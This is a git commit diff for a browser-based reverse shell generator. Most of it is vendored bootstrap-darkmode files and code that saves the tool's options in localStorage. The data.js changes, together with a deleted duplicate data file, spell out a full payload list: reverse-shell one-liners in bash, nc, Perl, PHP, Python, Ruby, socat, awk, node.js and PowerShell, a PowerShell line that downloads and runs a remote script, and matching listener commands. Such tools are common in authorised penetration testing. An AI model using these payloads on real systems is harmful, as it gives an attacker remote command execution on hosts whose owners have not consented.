Added option saving with LocalStorage. Refactored and removed some jquery.

This commit is contained in:
briskets 2021-02-27 16:19:33 -05:00
parent 1d35549563
commit 63e5da73ae
14 changed files with 3710 additions and 74 deletions

4
bootstrap-darkmode-master/.gitignore vendored Normal file
View File

@ -0,0 +1,4 @@
**.sass-cache**
.idea/
node_modules/
dist/

View File

@ -0,0 +1,4 @@
.sass-cache/
.idea/
.gitignore
testpage.html

View File

@ -0,0 +1,44 @@
# v0.1.0
* Initial NPM release.
# v0.2.0
+ Added `theme.d.ts`.
# v0.3.0
* Encapsulated theme methods in the `ThemeConfig` class.
* Encapsulated dark switch in a function.
# v0.3.1
+ Added `initTheme` to `theme.d.ts`.
# v0.3.2
+ Added constructor to `ThemeConfig`.
# v0.4.0
* Converted the JavaScript code to TypeScript.
# v0.5.0
+ Added the `ThemeConfig.detectTheme` method.
* `ThemeConfig.loadTheme` and `.saveTheme` are now regular methods.
* The `ThemeConfig.loadTheme` and `.saveTheme` methods can now accept/return `null`.
* Moved `darktheme.css` to `dist/`.
* Removed `.gitignore` from the NPM package.
# v0.6.0
* `dist/theme.js` is no longer a module.
# v0.7.0
+ Added `.bg-darkmode-black` as an opposite for `.bg-white`.
+ Added support for `data-theme="auto"`, which will automatically apply dark mode dependending on user agent preference.
* Improved table border colors.
* Improved horizontal rule (`<hr>`) color.
* Updated information in `package.json`.

View File

@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2019 - 2020, Clashsoft
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,111 @@
# Bootstrap Dark Mode
[![npm version](https://badge.fury.io/js/bootstrap-darkmode.svg)](https://www.npmjs.com/package/bootstrap-darkmode)
This project provides a stylesheet and two scripts that allow you to implement Dark Mode on your website.
It is initially loaded based on user preference, can be toggled via a switch, and is saved via `localStorage`.
You can view the [test page](testpage.html) with all default bootstrap components in light and dark
(thanks to [juzraai](https://juzraai.github.io/)!).
Note that not all components are fully supported yet.
Mostly the contextual color classes can cause problems.
If you are using Angular, check out [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode).
## Usage
### With NPM/Yarn/PNPM
Install the [npm package](https://www.npmjs.com/package/bootstrap-darkmode):
```sh
$ npm install bootstrap-darkmode
$ yarn add bootstrap-darkmode
$ pnpm install bootstrap-darkmode
```
Include the stylesheet, e.g. in `styles.scss`:
```scss
@import "~bootstrap-darkmode/darktheme";
```
### Via unpkg.com
1. Put the stylesheet link in `<head>`. Do not forget to add bootstrap.
```html
<head>
<!-- ... -->
<!-- Bootstrap CSS ... -->
<!-- Dark mode CSS -->
<link rel="stylesheet" href="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/darktheme.css"/>
<!-- ... -->
</head>
```
2. Load the theme script as the first thing in `<body>`.
```html
<body>
<script src="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/theme.js"></script>
<!-- ... --->
```
### Building Yourself
1. Clone this repo.
2. Run `npm build`.
3. Find `darktheme.css` and `theme.js` in the `dist/` directory.
4. Follow the steps for unpkg.com, but replace the links with whatever local paths you put the files in.
## Setup
> If you are using [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode),
> you can skip this section entirely.
> It comes with its own JavaScript implementation that is used very differently.
### Theme
As soon as possible after `<body>`, initialize the config and load the theme:
```js
const themeConfig = new ThemeConfig();
// place customizations here
themeConfig.initTheme();
```
Loading the theme early shortens the time until the white default background becomes dark.
### Dark Switch
If you want to use the default dark switch, load the switch script and add the element using this code:
```js
// this will write the html to the document and return the element.
const darkSwitch = writeDarkSwitch(themeConfig);
```
## Configuration
You can listen to theme changes by registering a callback with `themeChangeHandlers`:
```js
config.themeChangeHandlers.push(theme => console.log(`using theme: ${theme}`));
```
To change the way the theme is persisted, you can change the `loadTheme` and `saveTheme` functions:
```js
themeConfig.loadTheme = () => {
// custom logic
return 'dark';
};
themeConfig.saveTheme = theme => {
// custom logic
console.log(theme);
};
```

View File

@ -0,0 +1,363 @@
// =============== Variables ===============
// --------------- Defaults ---------------
$default-color: #bebebe;
$default-bg: #222;
$default-dark-bg: #181818;
$default-header-bg: #202020;
$default-border: #404040;
$item-color: (
"primary": #fff,
"secondary": #fff,
"success": #fff,
"danger": #fff,
"warning": #212529,
"info": #fff,
"light": #212529,
"dark": #fff,
);
$item-bg: (
"primary": #007bff,
"secondary": #6c757d,
"success": #28a745,
"danger": #dc3545,
"warning": #ffc107,
"info": #17a2b8,
"light": #6c757d,
"dark": #343a40,
);
$item-hover: (
"primary": #0069d9,
"secondary": #5a6268,
"success": #218838,
"danger": #c82333,
"warning": #e0a800,
"info": #138496,
"light": #e2e6ea,
"dark": #23272b,
);
$color-lighten: 10;
// --------------- Customized ---------------
$color: $default-color;
$bg: $default-bg;
$window-color: $default-color;
$window-bg: $default-bg;
$window-header-color: $default-color;
$window-header-bg: $default-header-bg;
$window-border: $default-border;
$card-color: $default-color;
$card-bg: $default-dark-bg;
$card-header-color: $default-color;
$card-header-bg: $default-header-bg;
$card-hover-bg: $default-bg;
$card-border: $default-border;
$form-color: $default-color;
$form-placeholder-color: #666;
$form-bg: #171717;
$form-hover-bg: #242424;
$form-border: $default-border;
$form-addon-color: $default-color;
$form-addon-bg: $default-header-bg;
@mixin darkmode {
color: $color;
background-color: $bg;
.bg-darkmode-dark {
background-color: #343a40 !important
}
.bg-darkmode-light {
background-color: #f8f9fa !important;
}
.bg-darkmode-black {
background-color: $bg !important;
}
// --------------- Typography ---------------
pre {
color: $color;
}
hr {
border-top-color: $default-border;
}
// --------------- Images ---------------
img.icon,
svg.icon {
filter: invert(1);
}
// --------------- Tables ---------------
.table {
color: $color;
th, td {
border-top-color: $default-border;
}
thead th, tbody + tbody {
border-bottom-color: $default-border;
}
}
.table-hover tbody tr:hover {
color: $color;
}
.table-bordered {
border-color: $default-border;
th, td {
border-color: $default-border;
}
}
// --------------- List Groups ---------------
.list-group-item {
color: $card-color;
background-color: $card-bg;
border-color: $card-border;
&.list-group-item-action:focus,
&.list-group-item-action:hover {
background-color: $card-hover-bg;
}
}
.list-group-item.active {
&, &:focus, &:hover {
color: map_get($item-color, "primary");
background-color: map_get($item-bg, "primary");
border-color: map_get($item-bg, "primary");
}
}
@each $name in map_keys($item-color) {
.list-group-item-#{$name} {
color: map_get($item-color, $name);
background-color: map_get($item-bg, $name);
border-color: map_get($item-bg, $name);
&.list-group-item-action:focus,
&.list-group-item-action:hover {
color: map_get($item-color, $name);
background-color: map_get($item-hover, $name);
}
}
}
// --------------- Buttons ---------------
.dropdown-menu {
background-color: $form-bg;
border-color: $form-border;
}
.dropdown-item:not(:disabled):not(.disabled) {
color: $form-color;
}
.dropdown-item:focus,
.dropdown-item:hover {
background-color: $form-hover-bg;
}
.dropdown-divider {
border-top-color: $form-border;
}
// --------------- Jumbotron ---------------
.jumbotron {
color: $card-color;
background-color: $card-bg;
border-color: $card-border;
}
// --------------- Cards ---------------
.card {
color: $card-color;
background-color: $card-bg;
border-color: $card-border;
}
.card-header,
.card-footer {
color: $card-header-color;
background-color: $card-header-bg;
border-top-color: $card-border;
border-bottom-color: $card-border;
}
// --------------- Forms ---------------
.form-control {
color: $form-color;
background-color: $form-bg;
border-color: $form-border;
}
.form-control-plaintext {
color: $form-color;
}
.custom-select {
color: $form-color;
background-color: $form-bg;
border-color: $form-border;
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23ffffff' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e");
}
.custom-file-label {
color: $form-color;
background-color: $form-bg;
border-color: $form-border;
&:after {
color: $form-addon-color;
background-color: $form-addon-bg;
}
}
.input-group-text {
color: $form-addon-color;
background-color: $form-addon-bg;
border-color: $form-border;
}
.page-item .page-link {
border-color: $form-border;
}
.page-item.disabled .page-link {
background-color: $form-bg;
color: $form-color;
}
.page-item:not(.active) .page-link {
background-color: $form-bg;
}
.page-item:not(.active) .page-link:hover {
background-color: $form-hover-bg;
}
// --------------- Navs ---------------
.breadcrumb {
background-color: $form-bg;
border-color: $form-border;
}
.nav-tabs {
border-bottom-color: $form-border;
.nav-link:focus,
.nav-link:hover {
background-color: $form-hover-bg;
border-color: $form-border;
}
.nav-item.show .nav-link,
.nav-link.active {
color: $color;
background-color: $bg;
border-color: $form-border;
border-bottom-color: $bg;
}
}
.nav-tabs.card-header-tabs {
.nav-item.show .nav-link,
.nav-link.active {
background-color: $card-bg;
border-bottom-color: $card-bg;
}
}
// --------------- Popovers ---------------
.popover {
background-color: $window-bg;
border-color: $window-border;
}
.popover-body {
color: $color;
}
.popover-header {
background-color: $window-header-bg;
border-bottom-color: $window-border;
}
@each $pos in (top, right, bottom, left) {
.bs-popover-#{$pos},
.bs-popover-auto[x-placement^="#{$pos}"] {
& > .arrow::before {
border-#{$pos}-color: $window-border;
}
& > .arrow::after {
border-#{$pos}-color: $window-bg;
}
}
}
// --------------- Progress Bars --------------- */
.progress {
background-color: $form-bg;
border-color: $form-border;
}
// --------------- Modals ---------------
.close {
color: $color;
opacity: 1;
}
.modal-header,
.modal-footer {
color: $window-header-color;
background-color: $window-header-bg;
border-bottom-color: $window-border;
border-top-color: $window-border;
}
.modal-content {
color: $window-color;
background-color: $window-bg;
border-color: $card-border;
}
}
@media (prefers-color-scheme: dark) {
[data-theme=auto] {
@include darkmode;
}
}
[data-theme=dark] {
@include darkmode;
}

View File

@ -0,0 +1,31 @@
{
"name": "bootstrap-darkmode",
"version": "0.7.0",
"description": "Stylesheet and Scripts for implementing dark mode with Bootstrap 4",
"main": "dist/theme.js",
"types": "dist/theme.d.ts",
"scripts": {
"build": "tsc && sass --source-map darktheme.scss:dist/darktheme.css --style compressed",
"test": "echo \"Error: no test specified\" && exit 1"
},
"repository": {
"type": "git",
"url": "https://github.com/clashsoft/bootstrap-darkmode.git"
},
"keywords": [
"bootstrap",
"bootstrap-4",
"darkmode",
"darktheme"
],
"author": "Adrian Kunz",
"license": "BSD-3-Clause",
"bugs": {
"url": "https://github.com/clashsoft/bootstrap-darkmode/issues"
},
"homepage": "https://github.com/clashsoft/bootstrap-darkmode#readme",
"devDependencies": {
"sass": "^1.26.7",
"typescript": "^3.9.3"
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,60 @@
class ThemeConfig {
themeChangeHandlers: ((theme: string) => void)[] = [];
loadTheme(): string | null {
return localStorage.getItem('theme');
}
saveTheme(theme: string | null): void {
if (theme === null) {
localStorage.removeItem('theme');
}
else {
localStorage.setItem('theme', theme)
}
}
initTheme(): void {
this.displayTheme(this.getTheme());
}
detectTheme(): string {
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
}
getTheme(): string {
return this.loadTheme() || this.detectTheme();
}
setTheme(theme: string): void {
this.saveTheme(theme);
this.displayTheme(theme);
}
displayTheme(theme: string): void {
document.body.setAttribute('data-theme', theme);
for (let handler of this.themeChangeHandlers) {
handler(theme);
}
}
}
function writeDarkSwitch(config: ThemeConfig) {
document.write(`
<div class="custom-control custom-switch">
<input type="checkbox" class="custom-control-input" id="darkSwitch">
<label class="custom-control-label" for="darkSwitch">Dark Mode</label>
</div>
`);
const darkSwitch = document.getElementById('darkSwitch') as HTMLInputElement;
darkSwitch.checked = config.getTheme() === 'dark';
darkSwitch.onchange = () => {
config.setTheme(darkSwitch.checked ? 'dark' : 'light');
};
config.themeChangeHandlers.push(theme => darkSwitch.checked = theme === 'dark');
return darkSwitch;
}

View File

@ -0,0 +1,13 @@
{
"compilerOptions": {
"target": "es5",
"lib": ["es2017", "es7", "es6", "dom"],
"declaration": true,
"outDir": "dist",
"strict": true
},
"exclude": [
"node_modules",
"dist"
]
}

11
data.js
View File

@ -1,11 +1,12 @@
const rsgData = { const rsgData = {
listenerCommands: [ listenerCommands: [
['pwncat', 'python3 -m pwncat -lp {port}'],
['nc', 'nc -lvnp {port}'], ['nc', 'nc -lvnp {port}'],
['rlwrap + nc', 'rlwrap nc -lvnp {port}'], ['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'], ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}']
], ],
shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
@ -38,11 +39,11 @@ const rsgData = {
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'], ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')']
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}']
], ],
specialCommands: { specialCommands: {
'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
} }
} }

View File

@ -1,50 +0,0 @@
const rsgData = {
listenerCommands: [
['pwncat', 'p3 -m pwncat -lp {port}'],
['nc', 'nc -lvnp {port}'],
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
['windows conpty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
],
shells: ['bash', 'sh', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
// shells: ['bash', 'sh', 'zsh', 'ash', 'bsh', 'csh', 'ksh', 'pdksh', 'tcsh'],
reverseShellsCommands: [
['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'],
['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'],
['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'],
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
['nc -e', 'nc -e /bin/{shell} {ip} {port}'],
['nc -c', 'nc -c {shell} {ip} {port}'],
['ncat -e', 'ncat {ip} {port} -e /bin/{shell} '],
['ncat udp', 'ncat {ip} {port} -e /bin/{shell}'],
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/{shell} -i");};\''],
['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''],
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("/bin/{shell} -i <&3 >&3 2>&3");\''],
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");\''],
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;\''],
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");\''],
['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'],
['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'],
['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'],
['PowerShell #3 (Base64)', undefined],
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/{shell}")\''],
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/{shell}")\''],
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''],
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')']
],
specialCommands: {
'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
}
}

BIN
favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

View File

@ -54,11 +54,10 @@
border: none !important; border: none !important;
border-radius: 5px; border-radius: 5px;
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
background-color: rgb(70, 70, 70) !important background-color: rgb(70, 70, 70)
} }
.custom-select { .custom-select {
/* background-color: rgb(169, 169, 172); */
background-color: #646464; background-color: #646464;
color: white; color: white;
} }
@ -66,10 +65,10 @@
.container { .container {
padding: 10px; padding: 10px;
border-radius: 20px; border-radius: 20px;
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); box-shadow: 10px 0px 20px 0px rgba(0, 0, 0, 0.75);
max-height: 1000px;
} }
h1, h1,
h2 { h2 {
text-align: center; text-align: center;
@ -78,12 +77,20 @@
</head> </head>
<body> <body>
<!-- TODO: Light/Dark Mode
<div class="custom-control custom-switch float-right">
<input id="mode-advanced-switch" type="checkbox" class="custom-control-input">
<label for="mode-advanced-switch" class="custom-control-label small pr-2 pb-1"
style="padding-top:2px" data-toggle="tooltip" title="Toggle Dark Mode">
Dark/Light Mode
</label>
</div> -->
<div class="container d-flex flex-column vh-100"> <div class="container d-flex flex-column vh-100">
<!-- Header --> <!-- Header -->
<div class="row justify-content-center mt-3 mb-5"> <div class="row justify-content-center mt-3 mb-5">
<h2>Reverse Shell Generator</h2> <h2>Reverse Shell Generator</h2>
</div> </div>
<div class="row"> <div class="row">
@ -152,7 +159,7 @@
<!-- Advanced switch --> <!-- Advanced switch -->
<div class="custom-control custom-switch float-right"> <div class="custom-control custom-switch float-right">
<input id="step2-advanced-switch" type="checkbox" class="custom-control-input"> <input id="step2-advanced-switch" type="checkbox" class="custom-control-input" checked>
<label for="step2-advanced-switch" class="custom-control-label small pr-2 pb-1" <label for="step2-advanced-switch" class="custom-control-label small pr-2 pb-1"
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings"> style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
Advanced Advanced
@ -203,7 +210,7 @@
<!-- Advanced switch --> <!-- Advanced switch -->
<div class="custom-control custom-switch float-right"> <div class="custom-control custom-switch float-right">
<input id="step3-advanced-switch" type="checkbox" class="custom-control-input"> <input id="step3-advanced-switch" type="checkbox" class="custom-control-input" checked>
<label for="step3-advanced-switch" class="custom-control-label small pr-2 pb-1" <label for="step3-advanced-switch" class="custom-control-label small pr-2 pb-1"
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings"> style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
Advanced Advanced
@ -376,7 +383,8 @@
$('#listener-selection').append($('<option>', { $('#listener-selection').append($('<option>', {
text: type, text: type,
value: command, value: command,
selected: i === 0 selected: i === 0,
class: 'listener-option',
})) }))
}) })
}, },
@ -489,22 +497,15 @@
} }
} }
/*
* Init
*/
$('#step2-advanced-switch').prop('checked', true)
$('#step3-advanced-switch').prop('checked', true)
/* /*
* Event handlers * Event handlers
*/ */
$('#ip, #port').on('input', rsg.update) $('#shell, #encoding').on('change', rsg.updateReverseShellCommand);
$('#listener-selection').on('change', rsg.updateListenerCommand)
$('#shell, #encoding').on('change', rsg.updateReverseShellCommand)
$('#inc-port').on('click', function () { $('#inc-port').on('click', function () {
$('#port').val(rsg.getPort() + 1) $('#port').val(rsg.getPort() + 1);
rsg.update() rsg.update();
setLocalStorage(portInput, "port", "value");
}) })
$('#step2-advanced-switch, #step3-advanced-switch').on('change', rsg.updateSwitchStates) $('#step2-advanced-switch, #step3-advanced-switch').on('change', rsg.updateSwitchStates)
@ -518,6 +519,93 @@
rsg.copyToClipboard($('#reverse-shell-command').text()) rsg.copyToClipboard($('#reverse-shell-command').text())
}) })
/*
* LocalStorage setting/getting
*/
const listenerSelect = document.querySelector("#listener-selection");
const ipInput = document.querySelector("#ip");
const portInput = document.querySelector("#port");
const autoCopySwitch = document.querySelector("#auto-copy-switch");
/**
* Sets item to localStorage when user moves focus from element
* @param {Object} element - The element to get value from
* @param {String} key - Key of localStorage value
* @param {String} attribute - Attribute of element to set to localStorage value
*/
const setLocalStorage = (element, key, attribute) => {
if (!element || typeof element !== "object") return;
localStorage.setItem(key, element[attribute]);
}
/**
* Prepopulates element if localStorage value exists
* @param {String} key - Key of localStorage value
* @param {Object} element - The element to apply value to
* @param {String} attribute - Attribute of element to apply localStorage value to
*/
const prepopulateElement = (key, element, attribute, options = null) => {
if (localStorage.getItem(key)) {
// TODO: Use switch/case instead
if (element.type === "text") {
element[attribute] = localStorage.getItem(key);
}
if (element.type === "checkbox") {
const isChecked = (localStorage.getItem(key) !== 'false');
element[attribute] = isChecked;
}
if (element.nodeName === "SELECT") {
const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key));
selectedItem.selected = true;
}
}
}
/*
* Prepopulating fields on load from localStorage
*/
// TODO: async/await
setTimeout(() => {
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
prepopulateElement("listener", listenerSelect, "value", [...listenerOptions]);
rsg.updateListenerCommand();
}, 500);
prepopulateElement("ip", ipInput, "value");
prepopulateElement("port", portInput, "value");
prepopulateElement("auto-copy", autoCopySwitch, "checked");
/*
* Event listeners for setting localStorage values
*/
ipInput.addEventListener("input", () => {
setLocalStorage(ipInput, "ip", "value");
rsg.update();
});
portInput.addEventListener("input", () => {
setLocalStorage(portInput, "port", "value");
rsg.update();
});
listenerSelect.addEventListener("change", () => {
rsg.updateListenerCommand();
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
const selectedItem = [...listenerOptions].find(option => option.selected);
setLocalStorage(selectedItem, "listener", "value");
});
autoCopySwitch.addEventListener("change", () => {
setLocalStorage(autoCopySwitch, "auto-copy", "checked");
});
/*
* Init
*/
$(document).ready(function () { $(document).ready(function () {
rsg.init() rsg.init()
rsg.update() rsg.update()